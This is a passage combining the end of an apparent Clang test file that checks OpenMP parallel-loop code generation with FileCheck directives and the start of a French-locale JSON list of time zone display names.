// CHECK-NEXT: store i32 [[ADD1_2]], i32* [[OMP_IV]]
// CHECK-NEXT: br label %{{.+}}
}
// CHECK: [[LOOP1_END]]
// Update the counters, adding stride
// CHECK: [[LB:%.+]] = load i32, i32* [[OMP_LB]]
// CHECK-NEXT: [[ST:%.+]] = load i32, i32* [[OMP_ST]]
// CHECK-NEXT: [[ADD_LB:%.+]] = add i32 [[LB]], [[ST]]
// CHECK-NEXT: store i32 [[ADD_LB]], i32* [[OMP_LB]]
// CHECK-NEXT: [[UB:%.+]] = load i32, i32* [[OMP_UB]]
// CHECK-NEXT: [[ST:%.+]] = load i32, i32* [[OMP_ST]]
// CHECK-NEXT: [[ADD_UB:%.+]] = add i32 [[UB]], [[ST]]
// CHECK-NEXT: store i32 [[ADD_UB]], i32* [[OMP_UB]]
// CHECK: [[O_LOOP1_END]]
// CHECK: call void @__kmpc_for_static_fini([[IDENT_T_TY]]* [[LOOP_LOC]], i32 [[GTID]])
// CHECK: ret void
}
// CHECK-LABEL: define {{.*void}} @{{.*}}dynamic1{{.*}}(float* {{.+}}, float* {{.+}}, float* {{.+}}, float* {{.+}})
void dynamic1(float *a, float *b, float *c, float *d) {
#pragma omp parallel for schedule(dynamic)
// CHECK: call void ([[IDENT_T_TY]]*, i32, void (i32*, i32*, ...)*, ...) @__kmpc_fork_call([[IDENT_T_TY]]* [[DEFAULT_LOC:[@%].+]], i32 4, void (i32*, i32*, ...)* bitcast (void (i32*, i32*, float**, float**, float**, float**)* [[OMP_PARALLEL_FUNC:@.+]] to void (i32*, i32*, ...)*),
// CHECK: define internal void [[OMP_PARALLEL_FUNC]](i32* noalias [[GTID_PARAM_ADDR:%.+]], i32* noalias %{{.+}}, float** dereferenceable(8) %{{.+}}, float** dereferenceable(8) %{{.+}}, float** dereferenceable(8) %{{.+}}, float** dereferenceable(8) %{{.+}})
// CHECK: store i32* [[GTID_PARAM_ADDR]], i32** [[GTID_REF_ADDR:%.+]],
// CHECK: call void @__kmpc_dispatch_init_8u([[IDENT_T_TY]]* [[DEFAULT_LOC]], i32 [[GTID:%.+]], i32 35, i64 0, i64 16908287, i64 1, i64 1)
//
// CHECK: [[HASWORK:%.+]] = call i32 @__kmpc_dispatch_next_8u([[IDENT_T_TY]]* [[DEFAULT_LOC]], i32 [[GTID]], i32* [[OMP_ISLAST:%[^,]+]], i64* [[OMP_LB:%[^,]+]], i64* [[OMP_UB:%[^,]+]], i64* [[OMP_ST:%[^,]+]])
// CHECK-NEXT: [[O_CMP:%.+]] = icmp ne i32 [[HASWORK]], 0
// CHECK-NEXT: br i1 [[O_CMP]], label %[[O_LOOP1_BODY:[^,]+]], label %[[O_LOOP1_END:[^,]+]]
// Loop header
// CHECK: [[O_LOOP1_BODY]]
// CHECK: [[LB:%.+]] = load i64, i64* [[OMP_LB]]
// CHECK-NEXT: store i64 [[LB]], i64* [[OMP_IV:[^,]+]]
// CHECK: [[IV:%.+]] = load i64, i64* [[OMP_IV]]
// CHECK-NEXT: [[UB:%.+]] = load i64, i64* [[OMP_UB]]
// CHECK-NEXT: [[BOUND:%.+]] = add i64 [[UB]], 1
// CHECK-NEXT: [[CMP:%.+]] = icmp ult i64 [[IV]], [[BOUND]]
// CHECK-NEXT: br i1 [[CMP]], label %[[LOOP1_BODY:[^,]+]], label %[[LOOP1_END:[^,]+]]
for (unsigned long long i = 131071; i < 2147483647; i += 127) {
// CHECK: [[LOOP1_BODY]]
// Start of body: calculate i from IV:
// CHECK: [[IV1_1:%.+]] = load i64, i64* [[OMP_IV]]
// CHECK-NEXT: [[CALC_I_1:%.+]] = mul i64 [[IV1_1]], 127
// CHECK-NEXT: [[CALC_I_2:%.+]] = add i64 131071, [[CALC_I_1]]
// CHECK-NEXT: store i64 [[CALC_I_2]], i64* [[LC_I:.+]]
// ... loop body ...
// End of body: store into a[i]:
// CHECK: store float [[RESULT:%.+]], float* {{%.+}}
a[i] = b[i] * c[i] * d[i];
// CHECK: [[IV1_2:%.+]] = load i64, i64* [[OMP_IV]]{{.*}}
// CHECK-NEXT: [[ADD1_2:%.+]] = add i64 [[IV1_2]], 1
// CHECK-NEXT: store i64 [[ADD1_2]], i64* [[OMP_IV]]
// CHECK-NEXT: br label %{{.+}}
}
// CHECK: [[LOOP1_END]]
// CHECK: [[O_LOOP1_END]]
// CHECK: ret void
}
// CHECK-LABEL: define {{.*void}} @{{.*}}guided7{{.*}}(float* {{.+}}, float* {{.+}}, float* {{.+}}, float* {{.+}})
void guided7(float *a, float *b, float *c, float *d) {
#pragma omp parallel for schedule(guided, 7)
// CHECK: call void ([[IDENT_T_TY]]*, i32, void (i32*, i32*, ...)*, ...) @__kmpc_fork_call([[IDENT_T_TY]]* [[DEFAULT_LOC:[@%].+]], i32 4, void (i32*, i32*, ...)* bitcast (void (i32*, i32*, float**, float**, float**, float**)* [[OMP_PARALLEL_FUNC:@.+]] to void (i32*, i32*, ...)*),
// CHECK: define internal void [[OMP_PARALLEL_FUNC]](i32* noalias [[GTID_PARAM_ADDR:%.+]], i32* noalias %{{.+}}, float** dereferenceable(8) %{{.+}}, float** dereferenceable(8) %{{.+}}, float** dereferenceable(8) %{{.+}}, float** dereferenceable(8) %{{.+}})
// CHECK: store i32* [[GTID_PARAM_ADDR]], i32** [[GTID_REF_ADDR:%.+]],
// CHECK: call void @__kmpc_dispatch_init_8u([[IDENT_T_TY]]* [[DEFAULT_LOC]], i32 [[GTID:%.+]], i32 36, i64 0, i64 16908287, i64 1, i64 7)
//
// CHECK: [[HASWORK:%.+]] = call i32 @__kmpc_dispatch_next_8u([[IDENT_T_TY]]* [[DEFAULT_LOC]], i32 [[GTID]], i32* [[OMP_ISLAST:%[^,]+]], i64* [[OMP_LB:%[^,]+]], i64* [[OMP_UB:%[^,]+]], i64* [[OMP_ST:%[^,]+]])
// CHECK-NEXT: [[O_CMP:%.+]] = icmp ne i32 [[HASWORK]], 0
// CHECK-NEXT: br i1 [[O_CMP]], label %[[O_LOOP1_BODY:[^,]+]], label %[[O_LOOP1_END:[^,]+]]
// Loop header
// CHECK: [[O_LOOP1_BODY]]
// CHECK: [[LB:%.+]] = load i64, i64* [[OMP_LB]]
// CHECK-NEXT: store i64 [[LB]], i64* [[OMP_IV:[^,]+]]
// CHECK: [[IV:%.+]] = load i64, i64* [[OMP_IV]]
// CHECK-NEXT: [[UB:%.+]] = load i64, i64* [[OMP_UB]]
// CHECK-NEXT: [[BOUND:%.+]] = add i64 [[UB]], 1
// CHECK-NEXT: [[CMP:%.+]] = icmp ult i64 [[IV]], [[BOUND]]
// CHECK-NEXT: br i1 [[CMP]], label %[[LOOP1_BODY:[^,]+]], label %[[LOOP1_END:[^,]+]]
for (unsigned long long i = 131071; i < 2147483647; i += 127) {
// CHECK: [[LOOP1_BODY]]
// Start of body: calculate i from IV:
// CHECK: [[IV1_1:%.+]] = load i64, i64* [[OMP_IV]]
// CHECK-NEXT: [[CALC_I_1:%.+]] = mul i64 [[IV1_1]], 127
// CHECK-NEXT: [[CALC_I_2:%.+]] = add i64 131071, [[CALC_I_1]]
// CHECK-NEXT: store i64 [[CALC_I_2]], i64* [[LC_I:.+]]
// ... loop body ...
// End of body: store into a[i]:
// CHECK: store float [[RESULT:%.+]], float* {{%.+}}
a[i] = b[i] * c[i] * d[i];
// CHECK: [[IV1_2:%.+]] = load i64, i64* [[OMP_IV]]{{.*}}
// CHECK-NEXT: [[ADD1_2:%.+]] = add i64 [[IV1_2]], 1
// CHECK-NEXT: store i64 [[ADD1_2]], i64* [[OMP_IV]]
// CHECK-NEXT: br label %{{.+}}
}
// CHECK: [[LOOP1_END]]
// CHECK: [[O_LOOP1_END]]
// CHECK: ret void
}
// CHECK-LABEL: define {{.*void}} @{{.*}}test_auto{{.*}}(float* {{.+}}, float* {{.+}}, float* {{.+}}, float* {{.+}})
void test_auto(float *a, float *b, float *c, float *d) {
unsigned int x = 0;
unsigned int y = 0;
#pragma omp parallel for schedule(auto) collapse(2)
// CHECK: call void ([[IDENT_T_TY]]*, i32, void (i32*, i32*, ...)*, ...) @__kmpc_fork_call([[IDENT_T_TY]]* [[DEFAULT_LOC:[@%].+]], i32 5, void (i32*, i32*, ...)* bitcast (void (i32*, i32*, i32*, float**, float**, float**, float**)* [[OMP_PARALLEL_FUNC:@.+]] to void (i32*, i32*, ...)*),
// CHECK: define internal void [[OMP_PARALLEL_FUNC]](i32* noalias [[GTID_PARAM_ADDR:%.+]], i32* noalias %{{.+}}, i32* dereferenceable(4) %{{.+}}, float** dereferenceable(8) %{{.+}}, float** dereferenceable(8) %{{.+}}, float** dereferenceable(8) %{{.+}}, float** dereferenceable(8) %{{.+}})
// CHECK: store i32* [[GTID_PARAM_ADDR]], i32** [[GTID_REF_ADDR:%.+]],
// CHECK: call void @__kmpc_dispatch_init_8([[IDENT_T_TY]]* [[DEFAULT_LOC]], i32 [[GTID:%.+]], i32 38, i64 0, i64 [[LAST_ITER:%[^,]+]], i64 1, i64 1)
//
// CHECK: [[HASWORK:%.+]] = call i32 @__kmpc_dispatch_next_8([[IDENT_T_TY]]* [[DEFAULT_LOC]], i32 [[GTID]], i32* [[OMP_ISLAST:%[^,]+]], i64* [[OMP_LB:%[^,]+]], i64* [[OMP_UB:%[^,]+]], i64* [[OMP_ST:%[^,]+]])
// CHECK-NEXT: [[O_CMP:%.+]] = icmp ne i32 [[HASWORK]], 0
// CHECK-NEXT: br i1 [[O_CMP]], label %[[O_LOOP1_BODY:[^,]+]], label %[[O_LOOP1_END:[^,]+]]
// Loop header
// CHECK: [[O_LOOP1_BODY]]
// CHECK: [[LB:%.+]] = load i64, i64* [[OMP_LB]]
// CHECK-NEXT: store i64 [[LB]], i64* [[OMP_IV:[^,]+]]
// CHECK: [[IV:%.+]] = load i64, i64* [[OMP_IV]]
// CHECK-NEXT: [[UB:%.+]] = load i64, i64* [[OMP_UB]]
// CHECK-NEXT: [[CMP:%.+]] = icmp sle i64 [[IV]], [[UB]]
// CHECK-NEXT: br i1 [[CMP]], label %[[LOOP1_BODY:[^,]+]], label %[[LOOP1_END:[^,]+]]
// FIXME: When the iteration count of some nested loop is not a known constant,
// we should pre-calculate it, like we do for the total number of iterations!
for (char i = static_cast<char>(y); i <= '9'; ++i)
for (x = 11; x > 0; --x) {
// CHECK: [[LOOP1_BODY]]
// Start of body: indices are calculated from IV:
// CHECK: store i8 {{%[^,]+}}, i8* {{%[^,]+}}
// CHECK: store i32 {{%[^,]+}}, i32* {{%[^,]+}}
// ... loop body ...
// End of body: store into a[i]:
// CHECK: store float [[RESULT:%.+]], float* {{%.+}}
a[i] = b[i] * c[i] * d[i];
// CHECK: [[IV1_2:%.+]] = load i64, i64* [[OMP_IV]]{{.*}}
// CHECK-NEXT: [[ADD1_2:%.+]] = add nsw i64 [[IV1_2]], 1
// CHECK-NEXT: store i64 [[ADD1_2]], i64* [[OMP_IV]]
// CHECK-NEXT: br label %{{.+}}
}
// CHECK: [[LOOP1_END]]
// CHECK: [[O_LOOP1_END]]
// CHECK: ret void
}
// CHECK-LABEL: define {{.*void}} @{{.*}}runtime{{.*}}(float* {{.+}}, float* {{.+}}, float* {{.+}}, float* {{.+}})
void runtime(float *a, float *b, float *c, float *d) {
int x = 0;
#pragma omp parallel for collapse(2) schedule(runtime)
// CHECK: call void ([[IDENT_T_TY]]*, i32, void (i32*, i32*, ...)*, ...) @__kmpc_fork_call([[IDENT_T_TY]]* [[DEFAULT_LOC:[@%].+]], i32 4, void (i32*, i32*, ...)* bitcast (void (i32*, i32*, float**, float**, float**, float**)* [[OMP_PARALLEL_FUNC:@.+]] to void (i32*, i32*, ...)*),
// CHECK: define internal void [[OMP_PARALLEL_FUNC]](i32* noalias [[GTID_PARAM_ADDR:%.+]], i32* noalias %{{.+}}, float** dereferenceable(8) %{{.+}}, float** dereferenceable(8) %{{.+}}, float** dereferenceable(8) %{{.+}}, float** dereferenceable(8) %{{.+}})
// CHECK: store i32* [[GTID_PARAM_ADDR]], i32** [[GTID_REF_ADDR:%.+]],
// CHECK: call void @__kmpc_dispatch_init_4([[IDENT_T_TY]]* [[DEFAULT_LOC]], i32 [[GTID:%.+]], i32 37, i32 0, i32 199, i32 1, i32 1)
//
// CHECK: [[HASWORK:%.+]] = call i32 @__kmpc_dispatch_next_4([[IDENT_T_TY]]* [[DEFAULT_LOC]], i32 [[GTID]], i32* [[OMP_ISLAST:%[^,]+]], i32* [[OMP_LB:%[^,]+]], i32* [[OMP_UB:%[^,]+]], i32* [[OMP_ST:%[^,]+]])
// CHECK-NEXT: [[O_CMP:%.+]] = icmp ne i32 [[HASWORK]], 0
// CHECK-NEXT: br i1 [[O_CMP]], label %[[O_LOOP1_BODY:[^,]+]], label %[[O_LOOP1_END:[^,]+]]
// Loop header
// CHECK: [[O_LOOP1_BODY]]
// CHECK: [[LB:%.+]] = load i32, i32* [[OMP_LB]]
// CHECK-NEXT: store i32 [[LB]], i32* [[OMP_IV:[^,]+]]
// CHECK: [[IV:%.+]] = load i32, i32* [[OMP_IV]]
// CHECK-NEXT: [[UB:%.+]] = load i32, i32* [[OMP_UB]]
// CHECK-NEXT: [[CMP:%.+]] = icmp sle i32 [[IV]], [[UB]]
// CHECK-NEXT: br i1 [[CMP]], label %[[LOOP1_BODY:[^,]+]], label %[[LOOP1_END:[^,]+]]
for (unsigned char i = '0' ; i <= '9'; ++i)
for (x = -10; x < 10; ++x) {
// CHECK: [[LOOP1_BODY]]
// Start of body: indices are calculated from IV:
// CHECK: store i8 {{%[^,]+}}, i8* {{%[^,]+}}
// CHECK: store i32 {{%[^,]+}}, i32* {{%[^,]+}}
// ... loop body ...
// End of body: store into a[i]:
// CHECK: store float [[RESULT:%.+]], float* {{%.+}}
a[i] = b[i] * c[i] * d[i];
// CHECK: [[IV1_2:%.+]] = load i32, i32* [[OMP_IV]]{{.*}}
// CHECK-NEXT: [[ADD1_2:%.+]] = add nsw i32 [[IV1_2]], 1
// CHECK-NEXT: store i32 [[ADD1_2]], i32* [[OMP_IV]]
// CHECK-NEXT: br label %{{.+}}
}
// CHECK: [[LOOP1_END]]
// CHECK: [[O_LOOP1_END]]
// CHECK: ret void
}
// TERM_DEBUG-LABEL: foo
int foo() {return 0;};
// TERM_DEBUG-LABEL: parallel_for
// CLEANUP: parallel_for
void parallel_for(float *a, const int n) {
float arr[n];
#pragma omp parallel for schedule(static, 5) private(arr) default(none) firstprivate(n) shared(a)
// TERM_DEBUG-NOT: __kmpc_global_thread_num
// TERM_DEBUG: call void @__kmpc_for_static_init_4u({{.+}}), !dbg [[DBG_LOC_START:![0-9]+]]
// TERM_DEBUG: invoke i32 {{.*}}foo{{.*}}()
// TERM_DEBUG: unwind label %[[TERM_LPAD:.+]],
// TERM_DEBUG-NOT: __kmpc_global_thread_num
// TERM_DEBUG: call void @__kmpc_for_static_fini({{.+}}), !dbg [[DBG_LOC_END:![0-9]+]]
// TERM_DEBUG: [[TERM_LPAD]]
// TERM_DEBUG: call void @__clang_call_terminate
// TERM_DEBUG: unreachable
// CLEANUP-NOT: __kmpc_global_thread_num
// CLEANUP: call void @__kmpc_for_static_init_4u({{.+}})
// CLEANUP: call void @__kmpc_for_static_fini({{.+}})
for (unsigned i = 131071; i <= 2147483647; i += 127)
a[i] += foo() + arr[i] + n;
}
// Check source line corresponds to "#pragma omp parallel for schedule(static, 5)" above:
// TERM_DEBUG-DAG: [[DBG_LOC_START]] = !DILocation(line: [[@LINE-4]],
// TERM_DEBUG-DAG: [[DBG_LOC_END]] = !DILocation(line: [[@LINE-18]],
// CHECK-LABEL: increment
int increment () {
// CHECK: [[GTID:%.+]] = call i32 @__kmpc_global_thread_num([[IDENT_T_TY]]* [[DEFAULT_LOC:[@%].+]])
#pragma omp for
// Determine UB = min(UB, GlobalUB)
// CHECK: call void @__kmpc_for_static_init_4([[IDENT_T_TY]]* [[LOOP_LOC]], i32 [[GTID]], i32 34, i32* [[IS_LAST:%[^,]+]], i32* [[OMP_LB:%[^,]+]], i32* [[OMP_UB:%[^,]+]], i32* [[OMP_ST:%[^,]+]], i32 1, i32 1)
// CHECK-NEXT: [[UB:%.+]] = load i32, i32* [[OMP_UB]]
// CHECK-NEXT: [[UBCMP:%.+]] = icmp sgt i32 [[UB]], 4
// CHECK-NEXT: br i1 [[UBCMP]], label [[UB_TRUE:%[^,]+]], label [[UB_FALSE:%[^,]+]]
// CHECK: [[UBRESULT:%.+]] = phi i32 [ 4, [[UB_TRUE]] ], [ [[UBVAL:%[^,]+]], [[UB_FALSE]] ]
// CHECK-NEXT: store i32 [[UBRESULT]], i32* [[OMP_UB]]
// CHECK-NEXT: [[LB:%.+]] = load i32, i32* [[OMP_LB]]
// CHECK-NEXT: store i32 [[LB]], i32* [[OMP_IV:[^,]+]]
// CHECK-NEXT: br label %[[LOOP1_HEAD:.+]]
// Loop header
// CHECK: [[LOOP1_HEAD]]
// CHECK: [[IV:%.+]] = load i32, i32* [[OMP_IV]]
// CHECK-NEXT: [[UB:%.+]] = load i32, i32* [[OMP_UB]]
// CHECK-NEXT: [[CMP:%.+]] = icmp sle i32 [[IV]], [[UB]]
// CHECK-NEXT: br i1 [[CMP]], label %[[LOOP1_BODY:[^,]+]], label %[[LOOP1_END:[^,]+]]
for (int i = 0 ; i != 5; ++i)
// Start of body: calculate i from IV:
// CHECK: [[LOOP1_BODY]]
// CHECK: [[IV1_1:%.+]] = load i32, i32* [[OMP_IV]]
// CHECK-NEXT: [[CALC_I_1:%.+]] = mul nsw i32 [[IV1_1]], 1
// CHECK-NEXT: [[CALC_I_2:%.+]] = add nsw i32 0, [[CALC_I_1]]
// CHECK-NEXT: store i32 [[CALC_I_2]], i32* [[LC_I:.+]]
// CHECK: [[IV1_2:%.+]] = load i32, i32* [[OMP_IV]]{{.*}}
// CHECK-NEXT: [[ADD1_2:%.+]] = add nsw i32 [[IV1_2]], 1
// CHECK-NEXT: store i32 [[ADD1_2]], i32* [[OMP_IV]]
// CHECK-NEXT: br label %[[LOOP1_HEAD]]
;
// CHECK: [[LOOP1_END]]
// CHECK: call void @__kmpc_for_static_fini([[IDENT_T_TY]]* [[LOOP_LOC]], i32 [[GTID]])
// CHECK: __kmpc_barrier
return 0;
// CHECK: ret i32 0
}
// CHECK-LABEL: decrement_nowait
int decrement_nowait () {
// CHECK: [[GTID:%.+]] = call i32 @__kmpc_global_thread_num([[IDENT_T_TY]]* [[DEFAULT_LOC:[@%].+]])
#pragma omp for nowait
// Determine UB = min(UB, GlobalUB)
// CHECK: call void @__kmpc_for_static_init_4([[IDENT_T_TY]]* [[LOOP_LOC]], i32 [[GTID]], i32 34, i32* [[IS_LAST:%[^,]+]], i32* [[OMP_LB:%[^,]+]], i32* [[OMP_UB:%[^,]+]], i32* [[OMP_ST:%[^,]+]], i32 1, i32 1)
// CHECK-NEXT: [[UB:%.+]] = load i32, i32* [[OMP_UB]]
// CHECK-NEXT: [[UBCMP:%.+]] = icmp sgt i32 [[UB]], 4
// CHECK-NEXT: br i1 [[UBCMP]], label [[UB_TRUE:%[^,]+]], label [[UB_FALSE:%[^,]+]]
// CHECK: [[UBRESULT:%.+]] = phi i32 [ 4, [[UB_TRUE]] ], [ [[UBVAL:%[^,]+]], [[UB_FALSE]] ]
// CHECK-NEXT: store i32 [[UBRESULT]], i32* [[OMP_UB]]
// CHECK-NEXT: [[LB:%.+]] = load i32, i32* [[OMP_LB]]
// CHECK-NEXT: store i32 [[LB]], i32* [[OMP_IV:[^,]+]]
// CHECK-NEXT: br label %[[LOOP1_HEAD:.+]]
// Loop header
// CHECK: [[LOOP1_HEAD]]
// CHECK: [[IV:%.+]] = load i32, i32* [[OMP_IV]]
// CHECK-NEXT: [[UB:%.+]] = load i32, i32* [[OMP_UB]]
// CHECK-NEXT: [[CMP:%.+]] = icmp sle i32 [[IV]], [[UB]]
// CHECK-NEXT: br i1 [[CMP]], label %[[LOOP1_BODY:[^,]+]], label %[[LOOP1_END:[^,]+]]
for (int j = 5 ; j != 0; --j)
// Start of body: calculate i from IV:
// CHECK: [[LOOP1_BODY]]
// CHECK: [[IV2_1:%.+]] = load i32, i32* [[OMP_IV]]
// CHECK-NEXT: [[CALC_II_1:%.+]] = mul nsw i32 [[IV2_1]], 1
// CHECK-NEXT: [[CALC_II_2:%.+]] = sub nsw i32 5, [[CALC_II_1]]
// CHECK-NEXT: store i32 [[CALC_II_2]], i32* [[LC_I:.+]]
// CHECK: [[IV2_2:%.+]] = load i32, i32* [[OMP_IV]]{{.*}}
// CHECK-NEXT: [[ADD2_2:%.+]] = add nsw i32 [[IV2_2]], 1
// CHECK-NEXT: store i32 [[ADD2_2]], i32* [[OMP_IV]]
// CHECK-NEXT: br label %[[LOOP1_HEAD]]
;
// CHECK: [[LOOP1_END]]
// CHECK: call void @__kmpc_for_static_fini([[IDENT_T_TY]]* [[LOOP_LOC]], i32 [[GTID]])
// CHECK-NOT: __kmpc_barrier
return 0;
// CHECK: ret i32 0
}
#endif // HEADER
|
{
"pile_set_name": "Github"
}
|
{
"Names": {
"Africa\/Abidjan": "heure moyenne de Greenwich (Abidjan)",
"Africa\/Accra": "heure moyenne de Greenwich (Accra)",
"Africa\/Addis_Ababa": "heure normale d’Afrique de l’Est (Addis-Abeba)",
"Africa\/Algiers": "heure d’Europe centrale (Alger)",
"Africa\/Asmera": "heure normale d’Afrique de l’Est (Asmara)",
"Africa\/Bamako": "heure moyenne de Greenwich (Bamako)",
"Africa\/Bangui": "heure d’Afrique de l’Ouest (Bangui)",
"Africa\/Banjul": "heure moyenne de Greenwich (Banjul)",
"Africa\/Bissau": "heure moyenne de Greenwich (Bissau)",
"Africa\/Blantyre": "heure normale d’Afrique centrale (Blantyre)",
"Africa\/Brazzaville": "heure d’Afrique de l’Ouest (Brazzaville)",
"Africa\/Bujumbura": "heure normale d’Afrique centrale (Bujumbura)",
"Africa\/Cairo": "heure d’Europe de l’Est (Le Caire)",
"Africa\/Casablanca": "heure d’Europe de l’Ouest (Casablanca)",
"Africa\/Ceuta": "heure d’Europe centrale (Ceuta)",
"Africa\/Conakry": "heure moyenne de Greenwich (Conakry)",
"Africa\/Dakar": "heure moyenne de Greenwich (Dakar)",
"Africa\/Dar_es_Salaam": "heure normale d’Afrique de l’Est (Dar es Salaam)",
"Africa\/Djibouti": "heure normale d’Afrique de l’Est (Djibouti)",
"Africa\/Douala": "heure d’Afrique de l’Ouest (Douala)",
"Africa\/El_Aaiun": "heure d’Europe de l’Ouest (Laâyoune)",
"Africa\/Freetown": "heure moyenne de Greenwich (Freetown)",
"Africa\/Gaborone": "heure normale d’Afrique centrale (Gaborone)",
"Africa\/Harare": "heure normale d’Afrique centrale (Harare)",
"Africa\/Johannesburg": "heure normale d’Afrique méridionale (Johannesburg)",
"Africa\/Juba": "heure normale d’Afrique de l’Est (Juba)",
"Africa\/Kampala": "heure normale d’Afrique de l’Est (Kampala)",
"Africa\/Khartoum": "heure normale d’Afrique centrale (Khartoum)",
"Africa\/Kigali": "heure normale d’Afrique centrale (Kigali)",
"Africa\/Kinshasa": "heure d’Afrique de l’Ouest (Kinshasa)",
"Africa\/Lagos": "heure d’Afrique de l’Ouest (Lagos)",
"Africa\/Libreville": "heure d’Afrique de l’Ouest (Libreville)",
"Africa\/Lome": "heure moyenne de Greenwich (Lomé)",
"Africa\/Luanda": "heure d’Afrique de l’Ouest (Luanda)",
"Africa\/Lubumbashi": "heure normale d’Afrique centrale (Lubumbashi)",
"Africa\/Lusaka": "heure normale d’Afrique centrale (Lusaka)",
"Africa\/Malabo": "heure d’Afrique de l’Ouest (Malabo)",
"Africa\/Maputo": "heure normale d’Afrique centrale (Maputo)",
"Africa\/Maseru": "heure normale d’Afrique méridionale (Maseru)",
"Africa\/Mbabane": "heure normale d’Afrique méridionale (Mbabane)",
"Africa\/Mogadishu": "heure normale d’Afrique de l’Est (Mogadiscio)",
"Africa\/Monrovia": "heure moyenne de Greenwich (Monrovia)",
"Africa\/Nairobi": "heure normale d’Afrique de l’Est (Nairobi)",
"Africa\/Ndjamena": "heure d’Afrique de l’Ouest (N’Djamena)",
"Africa\/Niamey": "heure d’Afrique de l’Ouest (Niamey)",
"Africa\/Nouakchott": "heure moyenne de Greenwich (Nouakchott)",
"Africa\/Ouagadougou": "heure moyenne de Greenwich (Ouagadougou)",
"Africa\/Porto-Novo": "heure d’Afrique de l’Ouest (Porto-Novo)",
"Africa\/Sao_Tome": "heure moyenne de Greenwich (São Tomé)",
"Africa\/Tripoli": "heure d’Europe de l’Est (Tripoli (Libye))",
"Africa\/Tunis": "heure d’Europe centrale (Tunis)",
"Africa\/Windhoek": "heure normale d’Afrique centrale (Windhoek)",
"America\/Adak": "heure d’Hawaii - Aléoutiennes (Adak)",
"America\/Anchorage": "heure de l’Alaska (Anchorage)",
"America\/Anguilla": "heure de l’Atlantique (Anguilla)",
"America\/Antigua": "heure de l’Atlantique (Antigua)",
"America\/Araguaina": "heure de Brasilia (Araguaína)",
"America\/Argentina\/La_Rioja": "heure de l’Argentine (La Rioja)",
"America\/Argentina\/Rio_Gallegos": "heure de l’Argentine (Río Gallegos)",
"America\/Argentina\/Salta": "heure de l’Argentine (Salta)",
"America\/Argentina\/San_Juan": "heure de l’Argentine (San Juan)",
"America\/Argentina\/San_Luis": "heure de l’Argentine (San Luis)",
"America\/Argentina\/Tucuman": "heure de l’Argentine (Tucumán)",
"America\/Argentina\/Ushuaia": "heure de l’Argentine (Ushuaïa)",
"America\/Aruba": "heure de l’Atlantique (Aruba)",
"America\/Asuncion": "heure du Paraguay (Asunción)",
"America\/Bahia": "heure de Brasilia (Bahia)",
"America\/Bahia_Banderas": "heure du centre nord-américain (Bahia de Banderas)",
"America\/Barbados": "heure de l’Atlantique (La Barbade)",
"America\/Belem": "heure de Brasilia (Belém)",
"America\/Belize": "heure du centre nord-américain (Belize)",
"America\/Blanc-Sablon": "heure de l’Atlantique (Blanc-Sablon)",
"America\/Boa_Vista": "heure de l’Amazonie (Boa Vista)",
"America\/Bogota": "heure de Colombie (Bogota)",
"America\/Boise": "heure des Rocheuses (Boise)",
"America\/Buenos_Aires": "heure de l’Argentine (Buenos Aires)",
"America\/Cambridge_Bay": "heure des Rocheuses (Cambridge Bay)",
"America\/Campo_Grande": "heure de l’Amazonie (Campo Grande)",
"America\/Cancun": "heure de l’Est nord-américain (Cancún)",
"America\/Caracas": "heure du Venezuela (Caracas)",
"America\/Catamarca": "heure de l’Argentine (Catamarca)",
"America\/Cayenne": "heure de la Guyane française (Cayenne)",
"America\/Cayman": "heure de l’Est nord-américain (Caïmans)",
"America\/Chicago": "heure du centre nord-américain (Chicago)",
"America\/Chihuahua": "heure du Pacifique mexicain (Chihuahua)",
"America\/Coral_Harbour": "heure de l’Est nord-américain (Atikokan)",
"America\/Cordoba": "heure de l’Argentine (Córdoba)",
"America\/Costa_Rica": "heure du centre nord-américain (Costa Rica)",
"America\/Creston": "heure des Rocheuses (Creston)",
"America\/Cuiaba": "heure de l’Amazonie (Cuiabá)",
"America\/Curacao": "heure de l’Atlantique (Curaçao)",
"America\/Danmarkshavn": "heure moyenne de Greenwich (Danmarkshavn)",
"America\/Dawson": "heure du Pacifique nord-américain (Dawson)",
"America\/Dawson_Creek": "heure des Rocheuses (Dawson Creek)",
"America\/Denver": "heure des Rocheuses (Denver)",
"America\/Detroit": "heure de l’Est nord-américain (Détroit)",
"America\/Dominica": "heure de l’Atlantique (Dominique)",
"America\/Edmonton": "heure des Rocheuses (Edmonton)",
"America\/Eirunepe": "heure de l’Acre (Eirunepé)",
"America\/El_Salvador": "heure du centre nord-américain (El Salvador)",
"America\/Fort_Nelson": "heure des Rocheuses (Fort Nelson)",
"America\/Fortaleza": "heure de Brasilia (Fortaleza)",
"America\/Glace_Bay": "heure de l’Atlantique (Glace Bay)",
"America\/Godthab": "heure de l’Ouest du Groenland (Nuuk)",
"America\/Goose_Bay": "heure de l’Atlantique (Goose Bay)",
"America\/Grand_Turk": "heure de l’Est nord-américain (Grand Turk)",
"America\/Grenada": "heure de l’Atlantique (Grenade)",
"America\/Guadeloupe": "heure de l’Atlantique (Guadeloupe)",
"America\/Guatemala": "heure du centre nord-américain (Guatemala)",
"America\/Guayaquil": "heure de l’Équateur (Guayaquil)",
"America\/Guyana": "heure du Guyana",
"America\/Halifax": "heure de l’Atlantique (Halifax)",
"America\/Havana": "heure de Cuba (La Havane)",
"America\/Hermosillo": "heure du Pacifique mexicain (Hermosillo)",
"America\/Indiana\/Knox": "heure du centre nord-américain (Knox [Indiana])",
"America\/Indiana\/Marengo": "heure de l’Est nord-américain (Marengo [Indiana])",
"America\/Indiana\/Petersburg": "heure de l’Est nord-américain (Petersburg [Indiana])",
"America\/Indiana\/Tell_City": "heure du centre nord-américain (Tell City [Indiana])",
"America\/Indiana\/Vevay": "heure de l’Est nord-américain (Vevay [Indiana])",
"America\/Indiana\/Vincennes": "heure de l’Est nord-américain (Vincennes [Indiana])",
"America\/Indiana\/Winamac": "heure de l’Est nord-américain (Winamac [Indiana])",
"America\/Indianapolis": "heure de l’Est nord-américain (Indianapolis)",
"America\/Inuvik": "heure des Rocheuses (Inuvik)",
"America\/Iqaluit": "heure de l’Est nord-américain (Iqaluit)",
"America\/Jamaica": "heure de l’Est nord-américain (Jamaïque)",
"America\/Jujuy": "heure de l’Argentine (Jujuy)",
"America\/Juneau": "heure de l’Alaska (Juneau)",
"America\/Kentucky\/Monticello": "heure de l’Est nord-américain (Monticello [Kentucky])",
"America\/Kralendijk": "heure de l’Atlantique (Kralendijk)",
"America\/La_Paz": "heure de Bolivie (La Paz)",
"America\/Lima": "heure du Pérou (Lima)",
"America\/Los_Angeles": "heure du Pacifique nord-américain (Los Angeles)",
